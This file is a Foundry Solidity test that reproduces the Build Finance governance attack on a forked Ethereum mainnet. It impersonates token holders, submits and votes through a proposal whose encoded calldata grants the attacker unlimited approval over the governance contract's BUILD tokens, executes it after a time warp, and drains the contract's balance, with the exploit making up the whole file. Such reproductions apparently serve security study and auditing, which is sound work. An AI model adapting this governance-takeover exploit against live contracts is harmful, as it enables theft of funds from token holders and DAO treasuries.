BuildF_exp.sol

// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./interface.sol";

contract ContractTest is DSTest {
  CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
  IBuildFinance BuildGovernance =
  IBuildFinance(0x5A6eBeB61A80B2a2a5e0B4D893D731358d888583);
  IERC20 build = IERC20(0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739);

  function setUp() public {
    cheat.createSelectFork("mainnet", 14235712); // fork mainnet at block 14235712
  }

  function test() public {
    cheat.prank(0x562680a4dC50ed2f14d75BF31f494cfE0b8D10a1);
    build.transfer(address(this), 101529401443281484977);
    emit log_named_uint(
      "Befre proposing, BUILD balance of attacker:",
      build.balanceOf(address(this))
    );
    build.approve(address(BuildGovernance), type(uint256).max);

    BuildGovernance.propose(
      0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,
      0,
      hex"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    );
    emit log_named_uint(
      "After proposing, BUILD balance of attacker:",
      build.balanceOf(address(this))
    );
    emit log_named_uint(
      "BUILD balance of BuildGovernance contract:",
      build.balanceOf(address(BuildGovernance))
    );
    cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);
    build.approve(address(BuildGovernance), type(uint256).max);
    cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);
    BuildGovernance.vote(8, true);
    emit log_named_int("Proposal count:", BuildGovernance.proposalCount());
    emit log_named_uint("Proposal state:", BuildGovernance.state(8));

    cheat.warp(1655436437);
    emit log_named_uint(
      "After 2 days, Proposal state:",
      BuildGovernance.state(8)
    );
    BuildGovernance.execute(
      8,
      0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,
      0,
      hex"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
    );
    build.transferFrom(
      address(BuildGovernance),
      address(this),
      build.balanceOf(address(BuildGovernance))
    );
    emit log_named_uint(
      "After exploiting, BUILD balance of attacker:",
      build.balanceOf(address(this))
    );
  }
}